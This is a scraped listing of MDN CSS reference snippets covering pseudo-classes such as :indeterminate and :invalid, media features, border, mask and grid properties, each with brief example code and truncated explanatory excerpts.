:indeterminate - CSS: Cascading Style Sheets
/* selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } elements targeted by
this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button
this example applies special styles to the labels associated with indetermina...
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">
this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">
this label starts out lime.</label> </div> css input:indeterminate + label { background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
:invalid - CSS: Cascading Style Sheets
/* selects any invalid <input> */ input:invalid { background-color: pink; }
this pseudo-class is useful for highlighting field errors for the user.
... syntax :invalid examples
this example presents a simple form that colors elements green when they validate and red when they don't.
:last-child - CSS: Cascading Style Sheets
beginning with selectors level 4,
this is no longer required.
... syntax :last-child examples basic example html <div> <p>
this text isn't selected.</p> <p>
this text is selected!</p> </div> <div> <p>
this text isn't selected.</p> <h2>
this text isn't selected: it's not a `p`.</h2> </div> css p:last-child { color: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment selectors level 4the definition of ':last-child' in that specification.
:nth-last-of-type() - CSS: Cascading Style Sheets
/* selects every fourth <p> element among any group of siblings, counting backwards from the last one */ p:nth-last-of-type(4n) { color: lime; } note:
this pseudo-class is essentially the same as :nth-of-type, except it counts items backwards from the end, not forwards from the beginning.
... formal syntax :nth-last-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples html <div> <span>
this is a span.</span> <span>
this is another span.</span> <em>
this is emphasized.</em> <span>wow,
this span gets limed!!!</span> <strike>
this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
:optional - CSS: Cascading Style Sheets
/* selects any optional <input> */ input:optional { border: 1px dashed black; }
this pseudo-class is useful for styling fields that are not required to submit a form.
...
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful form submission.
:out-of-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is outside that range */ input:out-of-range { background-color: rgba(255, 0, 0, 0.25); }
this pseudo-class is useful for giving the user a visual indication that a field's current value is outside the permitted limits.
... note:
this pseudo-class only applies to elements that have (and can take) a range limitation.
:required - CSS: Cascading Style Sheets
/* selects any required <input> */ input:required { border: 1px dashed red; }
this pseudo-class is useful for highlighting fields that must have valid data before a form can be submitted.
...
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful submission.
negative - CSS: Cascading Style Sheets
syntax /* <symbol> values */ negative: "-"; /* prepends '-' if value is negative */ negative: "(" ")"; /* surrounds value by '(' and ')' if it is negative */ values first <symbol>
this symbol will be prepended to the representation when the counter is negative.
... second <symbol> if present,
this symbol will be appended to the representation when the counter is negative.
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
note:
this media feature is a webkit feature.
...} examples html <p>
this is a test of your device's pixel density.</p> css /* exact resolution */ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p { background: yellow; } } result specifications spec...
color-gamut - CSS: Cascading Style Sheets
this includes the vast majority of color displays.
... examples html <p>
this is a test.</p> css @media (color-gamut: srgb) { p { background: #f4ae8a; } } result specifications specification status comment media queries level 4the definition of 'color-gamut' in that specification.
color-index - CSS: Cascading Style Sheets
(
this value is zero if the device does not use such a table.) it is a range feature, meaning that you can also use the prefixed min-color-index and max-color-index variants to query minimum and maximum values, respectively.
... examples basic example html <p>
this is a test.</p> css p { color: black; } @media (color-index) { p { color: red; } } @media (min-color-index: 15000) { p { color: #1475ef; } } result custom stylesheet
this html will apply a special stylesheet for devices that have at least 256 colors.
scan - CSS: Cascading Style Sheets
the word scanning used in
this context does not refer to an image scanner, such as one used to digitize a photograph.
... examples html <p>if your screen uses interlaced rendering,
this text should be in a sans-serif font.
@media - CSS: Cascading Style Sheets
because of
this potential, a browser may opt to fudge the returned values in some manner in order to prevent them from being used to precisely identify a computer.
... a browser might also offer additional measures in
this area; for example, if firefox's "resist fingerprinting" setting is enabled, many media queries report default values rather than values representing the actual device state.
height - CSS: Cascading Style Sheets
if the height of the containing block is not specified explicitly (i.e., it depends on content height), and
this element is not absolutely positioned, the percentage value is treated as 0.max-height: the percentage is calculated with respect to the height of the generated box's containing block.
... if the height of the containing block is not specified explicitly (i.e., it depends on content height), and
this element is not absolutely positioned, the percentage value is treated as none.computed valueas each of the properties of the shorthand:min-height: the percentage as specified or the absolute lengthmax-height: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum height @viewport { height: 500px; } specifications specification status comment css device adaptationthe definition of '"height" descriptor' in that specification.
viewport-fit - CSS: Cascading Style Sheets
syntax /* keyword values */ viewport-fit: auto; viewport-fit: contain; viewport-fit: cover; values auto
this value doesn’t affect the initial layout viewport, and the whole web page is viewable.
...
this descriptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet.
Using multiple backgrounds - CSS: Cascading Style Sheets
specifying multiple backgrounds is easy: .myclass { background: background1, background 2, ..., backgroundn; } you can do
this with both the shorthand background property and the individual properties thereof except for background-color.
... example in
this example, three backgrounds are stacked: the firefox logo, an image of bubbles, and a linear gradient: html <div class="multi-bg-example"></div> css .multi-bg-example { width: 100%; height: 400px; background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)); background-repeat: no-repeat, no-repeat, no-repeat; background-position: bottom right, left, ...
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods; on
this page we explore how box alignment works in the context of multi-column layout.
... as
this page aims to detail things which are specific to multi-column layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
CSS Basic Box Model - CSS: Cascading Style Sheets
this model defines how css lays out elements, including their content, padding, border, and margin areas.
...
this article describes the rules that govern when and why
this happens, and how to control it.
CSS Color - CSS: Cascading Style Sheets
not all css properties that take a <color> as a value are part of
this module, but they do depend upon it.
... tools color picker tool
this tool makes it easy to create, adjust, and experiment with custom colors.
Using CSS counters - CSS: Cascading Style Sheets
basic example
this example adds "section [the value of the counter]:" to the beginning of each heading.
... example of a nested counter css ol { counter-reset: section; /* creates a new instance of the section counter with each ol element */ list-style-type: none; } li::before { counter-increment: section; /* increments only
this instance of the section counter */ content: counters(section, ".") " "; /* combines the values of all instances of the section counter, separated by a period */ } html <ol> <li>item</li> <!-- 1 --> <li>item <!-- 2 --> <ol...
Stacking context example 2 - CSS: Cascading Style Sheets
« css « understanding css z-index stacking context example 2
this is a very simple example, but it is the key for understanding the concept of stacking context.
... to better understand the situation,
this is the stacking context hierarchy: root stacking context div #2 (z-index 2) div #3 (z-index 1) div #4 (z-index 10) note: it is worth remembering that in general the html hierarchy is different from the stacking context hierarchy.
CSS selectors - CSS: Cascading Style Sheets
this means that the second element follows the first (though not necessarily immediately), and both share the same parent.
...
this means that the second element directly follows the first, and both share the same parent.
CSS Text Decoration - CSS: Cascading Style Sheets
examples .under { text-decoration: underline red; } .over { text-decoration: wavy overline lime; } .line { text-decoration: line-through; } .plain { text-decoration: none; } .underover { text-decoration: dashed underline overline; } .thick { text-decoration: solid underline purple 4px; } .blink { text-decoration: blink; } <p class="under">
this text has a line underneath it.</p> <p class="over">
this text has a line over it.</p> <p class="line">
this text has a line going through it.</p> <p>
this <a class="plain" href="#">link will not be underlined</a>, as links generally are by default.
... be careful when removing the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">
this text has lines above <em>and</em> below it.</p> <p class="thick">
this text has a really thick purple underline in supporting browsers.</p> <p class="blink">
this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Class selectors - CSS: Cascading Style Sheets
/* all elements with class="spacious" */ .spacious { margin: 2em; } /* all <li> elements with class="spacious" */ li.spacious { margin: 2em; } /* all <li> elements with a class list that includes both "spacious" and "elegant" */ /* for example, class="elegant retro spacious" */ li.spacious.elegant { margin: 2em; } syntax .class_name { style properties } note that
this is equivalent to the following attribute selector: [class~=class_name] { style properties } examples css .red { color: #f33; } .yellow-bg { background: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">
this paragraph has red text.</p> <p class="red yellow-bg">
this paragraph has red text and a yellow background.</p> <p class="red fancy">
this ...
...paragraph has red text and "fancy" styling.</p> <p>
this is just a regular paragraph.</p> result specifications specification status comment selectors level 4the definition of 'class selectors' in that specification.
Inline formatting context - CSS: Cascading Style Sheets
this article explains the inline formatting context core concepts the inline formatting context is part of the visual rendering of a web page.
...
this box will be large enough to contain all of the inline boxes in that line; when there is no more room in the inline direction another line will be created.
CSS Layout cookbook - CSS: Cascading Style Sheets
note: if you are new to css layout then you might first like to take a look at our css layout learning module, as
this will give you the basic grounding you need to make use of the recipes here.
...see
this page for a template and guidelines for writing your own example.
Media queries - CSS: Cascading Style Sheets
(
this is only valid inside <picture> elements.) in the <style> element's media attribute, they define the media to which the style should be applied.
...with
this functionality, your site or app can respond to changes in the device configuration, orientation, or state.
Pseudo-elements - CSS: Cascading Style Sheets
this distinguishes pseudo-classes from pseudo-elements.
... however, since
this distinction was not present in older versions of the w3c spec, most browsers support both syntaxes for the original pseudo-elements.
Selector list - CSS: Cascading Style Sheets
#main, .content, article { font-size: 1.1em; } selector list invalidation a downside to using selector lists is that the following aren't equivalent: h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } h3 { font-family: sans-serif } h1, h2:maybe-unsupported, h3 { font-family: sans-serif }
this is because a single unsupported selector in a selector list invalidates the whole rule.
... a way to remedy
this us to use the :is() selector, which simply ignores invalid selectors in its arguments, but at the cost of all selectors having the same specificity, because of how :is() calculates specificity.
all - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... formal definition initial valuethere is no practical initial value for it.applies toall elementsinheritednocomputed valueas the specified value applies to each property
this is a shorthand for.animation typeas each of the properties of the shorthand (all properties but unicode-bidi and direction) formal syntax initial | inherit | unset | revert examples html <blockquote id="quote"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
<angle-percentage> - CSS: Cascading Style Sheets
syntax refer to the documentation for <angle> and <percentage> for details of the individual syntaxes allowed by
this type.
... use in calc() where an <angle-percentage> is specified as an allowable type,
this means that the percentage resolves to an angle and therefore can be used in a calc() expression.
animation-name - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this identifier is composed of a combination of case-sensitive letters a to z, numbers 0 to 9, underscores (_), and/or dashes (-).
background-clip - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... if the element has no background-image or background-color,
this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference.
background-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... though technically removing the transparent keyword,
this doesn't change anything as it has been incorporated as a true <color> backgrounds level 3 github issues css level 2 (revision 1)the definition of 'background-color' in that specification.
background-repeat - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...und-repeat: repeat-y; } .five { background-repeat: space; } .six { background-repeat: round; } /* multiple images */ .seven { background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif), url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png); background-repeat: repeat-x, repeat-y; height: 144px; } result in
this example, each list item is matched with a different value of background-repeat.
border-block-end - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-block-end-color border-block-end-style border-block-end-width syntax border-block-end: 1px; border-block-end: 2px dotted; border-block-end: medium dashed blue; border-block-end can be used to set the values for one or more of border-block-end-width, border-block-end-style, and border-block-end-color.
border-block-start - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-block-start-color border-block-start-style border-block-start-width syntax border-block-start: 1px; border-block-start: 2px dotted; border-block-start: medium dashed blue; border-block-start can be used to set the values for one or more of border-block-start-width, border-block-start-style, and border-block-start-color.
border-bottom-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...it also applies to ::first-letter.inheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples a simple div with a border html <div class="mybox"> <p>
this is a box with a border around it.
border-bottom-left-radius - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: if the value of
this property is not set in a border-radius shorthand property that is applied to the element after the border-bottom-left-radius css property, the value of
this property is then reset to its initial value by the shorthand property.
border-bottom-right-radius - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: if the value of
this property is not set in a border-radius shorthand property that is applied to the element after the border-bottom-right-radius css property, the value of
this property is then reset to its initial value by the shorthand property.
border-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-bottom-color border-left-color border-right-color border-top-color syntax /* <color> values */ border-color: red; /* horizontal | vertical */ border-color: red #f015ca; /* top | vertical | bottom */ border-color: red rgb(240,30,50,.7) green; /* top | right | bottom | left */ border-color: red yellow green blue; /* globa...
border-end-end-radius - CSS: Cascading Style Sheets
this is useful when building styles to work regardless of the text orientation and writing mode.
... /* <length> values */ /* with one value the corner will be a circle */ border-end-end-radius: 10px; border-end-end-radius: 1em; /* with two values the corner will be an ellipse */ border-end-end-radius: 1em 2em; /* global values */ border-end-end-radius: inherit; border-end-end-radius: initial; border-end-end-radius: unset; for instance, in a horizontal-tb writing mode
this property corresponds to the border-bottom-right-radius property.
border-end-start-radius - CSS: Cascading Style Sheets
this is useful when building styles to work regardless of the text orientation and writing mode.
... /* <length> values */ /* with one value the corner will be a circle */ border-end-start-radius: 10px; border-end-start-radius: 1em; /* with two values the corner will be an ellipse */ border-end-start-radius: 1em 2em; /* global values */ border-end-start-radius: inherit; border-end-start-radius: initial; border-end-start-radius: unset; for instance, in a horizontal-tb writing mode
this property corresponds to the border-top-right-radius property.
border-image-outset - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...it also applies to ::first-letter.inheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length> | <number> ]{1,4} examples outsetting a border image html <div id="outset">
this element has an outset border image!</div> css #outset { width: 10rem; background: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-im...
border-inline-end - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-inline-end-color border-inline-end-style border-inline-end-width syntax border-inline-end: 1px; border-inline-end: 2px dashed; border-inline-end: medium dashed blue; the physical border to which border-inline-end maps depends on the element's writing mode, directionality, and text orientation.
border-inline-start - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-inline-start-color border-inline-start-style border-inline-start-width syntax border-inline-start: 1px; border-inline-start: 2px dotted; border-inline-start: medium dashed green; the physical border to which border-inline-start maps depends on the element's writing mode, directionality, and text orientation.
border-left-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>
this is a box with a border around it.
border-right-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>
this is a box with a border around it.
border-start-end-radius - CSS: Cascading Style Sheets
this is useful when building styles to work regardless of the text orientation and writing mode.
... /* <length> values */ /* with one value the corner will be a circle */ border-start-end-radius: 10px; border-start-end-radius: 1em; /* with two values the corner will be an ellipse */ border-start-end-radius: 1em 2em; /* global values */ border-start-end-radius: inherit; border-start-end-radius: initial; border-start-end-radius: unset; for instance, in a horizontal-tb writing mode
this property corresponds to the border-bottom-left-radius property.
border-start-start-radius - CSS: Cascading Style Sheets
this is useful when building styles to work regardless of the text orientation and writing mode.
.../* <length> values */ /* with one value the corner will be a circle */ border-start-start-radius: 10px; border-start-start-radius: 1em; /* with two values the corner will be an ellipse */ border-start-start-radius: 1em 2em; /* global values */ border-start-start-radius: inherit; border-start-start-radius: initial; border-start-start-radius: unset; for instance, in a horizontal-tb writing mode
this property corresponds to the border-top-left-radius property.
border-top-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>
this is a box with a border around it.
border-top-left-radius - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: if the value of
this property is not set in a border-radius shorthand property that is applied to the element after the border-top-left-radius css property, the value of
this property is then reset to its initial value by the shorthand property.
border-top-right-radius - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: if the value of
this property is not set in a border-radius shorthand property that is applied to the element after the border-top-right-radius css property, the value of
this property is then reset to its initial value by the shorthand property.
box-decoration-break - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... values slice the element is initially rendered as if its box were not fragmented, after which the rendering for
this hypothetical box is sliced into pieces for each line/column/page.
box-flex-group - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...flow children of box elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples simple usage example in the original flexbox spec, box-flex-group could be used to assign flex children to different groups to distribute flexible space between: article:nth-child(1) { -webkit-box-flex-group: 1; } article:nth-child(2) { -webkit-box-flex-group: 2; }
this was only ever supported in webkit-based browsers, with a prefix, and in subsequent versions of the spec
this functionality does not have an equivalent.
box-orient - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...
this css property will only apply to html elements with a css display value of box or inline-box.
clip-path - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... <geometry-box> if specified in combination with a <basic-shape>,
this value defines the reference box for the basic shape.
column-rule-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples setting a blue column rule html <p>
this is a bunch of text split into three columns.
column-rule-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... formal definition initial valuenoneapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-style'> examples setting a dashed column rule html <p>
this is a bunch of text split into three columns.
column-rule-width - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... formal definition initial valuemediumapplies tomulticol elementsinheritednocomputed valuethe absolute length; 0 if the column-rule-style is none or hiddenanimation typea length formal syntax <'border-width'> examples setting a thick column rule html <p>
this is a bunch of text split into three columns.
column-rule - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...x <'column-rule-width'> | <'column-rule-style'> | <'column-rule-color'> examples example 1 /* same as "medium dotted currentcolor" */ p.foo { column-rule: dotted; } /* same as "medium solid blue" */ p.bar { column-rule: solid blue; } /* same as "8px solid currentcolor" */ p.baz { column-rule: solid 8px; } p.abc { column-rule: thick inset blue; } example 2 html <p class="content-box">
this is a bunch of text split into three columns.
cursor - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... for example,
this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a comma separated list url(…), url(…), …, pointing to an image file.
<display-inside> - CSS: Cascading Style Sheets
this will result in expected behavior; for example if you specify an element to be display: grid, you would expect that the box created on the grid container would be a block level box.
... examples in
this example the parent box has been given display: flow-root and so establishes a new bfc and contains the floated item.
env() - CSS: Cascading Style Sheets
<p> if the <code>env()</code> function is supported in your browser,
this paragraph’s text will have 50px of padding between it and the left border — but not the top, right and bottom.
...
this is because the accompanying css is the equivalent of <code>padding: 0 0 0 50px</code>, because, unlike other css properties, user agent property names are case-sensitive.
flex-basis - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note:
this value was not present in the initial release of flexible box layout, and thus some older implementations will not support it.
flex-flow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: flex-direction flex-wrap syntax /* flex-flow: <'flex-direction'> */ flex-flow: row; flex-flow: row-reverse; flex-flow: column; flex-flow: column-reverse; /* flex-flow: <'flex-wrap'> */ flex-flow: nowrap; flex-flow: wrap; flex-flow: wrap-reverse; /* flex-flow: <'flex-direction'> and <'flex-wrap'> */ flex-flow: row nowrap; flex-flow: column wrap; flex-flow: column-reverse wrap-reverse; /* global values */ flex-flow: inherit; flex-flow: initial; flex-flow: unset; values see flex-direction and flex-wrap for details on the values.
font-kerning - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...in well-kerned fonts,
this feature makes character spacing more uniform and pleasant to read than it would otherwise be.
font-smooth - CSS: Cascading Style Sheets
auto - let the browser decide (uses subpixel anti-aliasing when available;
this is the default) none - turn font smoothing off; display text with jagged sharp edges.
... subpixel-antialiased - on most non-retina displays,
this will give the sharpest text.
<frequency-percentage> - CSS: Cascading Style Sheets
description use in calc() where a <frequency-percentage> is specified as an allowable type,
this means that the percentage resolves to a frequency and therefore can be used in a calc() expression.
...+0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0
this is a <number>, not an <frequency>, because it is missing a unit.
<frequency> - CSS: Cascading Style Sheets
+0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0
this is a <number>, not an <frequency>, because it is missing a unit.
... note:
this data type was initially introduced in css level 2 for the now-obsolete aural media type, where it was used to define the pitch of the voice.
grid-auto-columns - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this can happen either by explicitly positioning into a column that is out of range, or by the auto-placement algorithm creating additional columns.
grid-auto-rows - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this can happen either by explicitly positioning into a row that is out of range, or by the auto-placement algorithm creating additional rows.
grid-template-rows - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...auto-fill, 200px) 20%; grid-template-rows: [linename1] 100px [linename2] repeat(auto-fit, [linename3 linename4] 300px) 100px; grid-template-rows: [linename1 linename2] 100px repeat(auto-fit, [linename1] 300px) [linename3]; /* global values */ grid-template-rows: inherit; grid-template-rows: initial; grid-template-rows: unset;
this property may be specified as: either the keyword value none or a <track-list> value or an <auto-track-list> value.
grid-template - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: grid-template-areas grid-template-columns grid-template-rows syntax /* keyword value */ grid-template: none; /* grid-template-rows / grid-template-columns values */ grid-template: 100px 1fr / 50px 1fr; grid-template: auto 1fr / auto 1fr auto; grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%; grid-template: fit-content(100px) / fit-content(40%); /* grid-template-areas grid-template-rows / grid-template-column values */ grid-template: "a a a" "b b b"; grid-template: "a a a" 20% "b b b" auto; grid-temp...
height - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...if the height of the containing block is not specified explicitly (i.e., it depends on content height), and
this element is not absolutely positioned, the value computes to auto.
<integer> - CSS: Cascading Style Sheets
examples valid integers 12 positive integer (without a leading + sign) +123 positive integer (with a leading + sign) -456 negative integer 0 zero +0 zero, with a leading + -0 zero, with a leading - invalid integers 12.0
this is a <number>, not an <integer>, though it represents an integer.
... browser compatibility the compatibility table on
this page is generated from structured data.
isolation - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this property is especially helpful when used in conjunction with mix-blend-mode.
<length-percentage> - CSS: Cascading Style Sheets
syntax refer to the documentation for <length> and <percentage> for details of the individual syntaxes allowed by
this type.
...rcentage examples */ width: 75%; height: 200px; margin: 3rem; padding: 1%; border-radius: 10px 10%; font-size: 250%; line-height: 1.5em; /* length examples */ text-shadow: 1px 1px 1px red; border: 5px solid red; letter-spacing: 3px; /* percentage example */ text-size-adjust: 20%; } result use in calc() where a <length-percentage> is specified as an allowable type,
this means that the percentage resolves to a length and therefore can be used in a calc() expression.
margin-inline - CSS: Cascading Style Sheets
lues */ margin-inline: 10px 20px; /* an absolute length */ margin-inline: 1em 2em; /* relative to the text size */ margin-inline: 5% 2%; /* relative to the nearest block container's width */ margin-inline: 10px; /* sets both start and end values */ /* keyword values */ margin-inline: auto; /* global values */ margin-inline: inherit; margin-inline: initial; margin-inline: unset;
this property corresponds to the margin-top and margin-bottom, or margin-right, and margin-left properties, depending on the values defined for writing-mode, direction, and text-orientation.
... constituent properties
this property is a shorthand for the following css properties: margin-inline-end margin-inline-start syntax values the margin-inline property takes the same values as the margin-left property.
margin-top - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this property has no effect on non-replaced inline elements, such as <span> or <code>.
mask-border-outset - CSS: Cascading Style Sheets
formal definition initial value0applies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length> | <number> ]{1,4} examples basic usage
this property doesn't appear to be supported anywhere yet.
... mask-border-outset: 1rem; chromium-based browsers support an outdated version of
this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-repeat - CSS: Cascading Style Sheets
formal definition initial valuestretchapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples basic usage
this property doesn't appear to be supported anywhere yet.
... mask-border-repeat: round; chromium-based browsers support an outdated version of
this property — mask-box-image-repeat — with a prefix: -webkit-mask-box-image-repeat: round; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-slice - CSS: Cascading Style Sheets
formal definition initial value0applies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of the mask border imagecomputed valueas specifiedanimation typediscrete formal syntax <number-percentage>{1,4} fill?where <number-percentage> = <number> | <percentage> examples basic usage
this property doesn't appear to be supported anywhere yet.
... mask-border-slice: 30 fill; chromium-based browsers support an outdated version of
this property — mask-box-image-slice — with a prefix: -webkit-mask-box-image-slice: 30 fill; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-source - CSS: Cascading Style Sheets
angle><linear-color-stop> = <color> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples basic usage
this property doesn't appear to be supported anywhere yet.
... mask-border-source: url(image.jpg); chromium-based browsers support an outdated version of
this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source: url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-mode - CSS: Cascading Style Sheets
values alpha
this keyword indicates that the transparency (alpha channel) values of the mask layer image should be used as the mask values.
... luminance
this keyword indicates that the luminance values of the mask layer image should be used as the mask values.
mask-origin - CSS: Cascading Style Sheets
origin: stroke-box; mask-origin: view-box; /* multiple values */ mask-origin: padding-box, content-box; mask-origin: view-box, fill-box, border-box; /* non-standard keyword values */ -webkit-mask-origin: content; -webkit-mask-origin: padding; -webkit-mask-origin: border; /* global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; for elements rendered as a single box,
this property specifies the mask positioning area.
... in other words,
this property specifies the origin position of an image specified by the mask-image css property.
mask - CSS: Cascading Style Sheets
this will ensure that mask-border has also been reset to allow the new styles to take effect.
... constituent properties
this property is a shorthand for the following css properties: mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size syntax /* keyword values */ mask: none; /* image values */ mask: url(mask.png); /* pixel image used as mask */ mask: url(masks.svg#star); /* element within svg graphic used as mask */ /* combined values */ mask: url(masks.svg#star) luminance; /* element within svg graphic used as luminance mask */ mask: url(masks.svg#star) 40px 20px; /* element within svg graphic used as mask positioned 40px from the top and 20px from the left */ mask: url(masks.svg#star) 0 0/50px 50px; /* element within svg graphic used as mask with a width and height of 50px */ ...
min-height - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...if the height of the containing block is not specified explicitly (i.e., it depends on content height), and
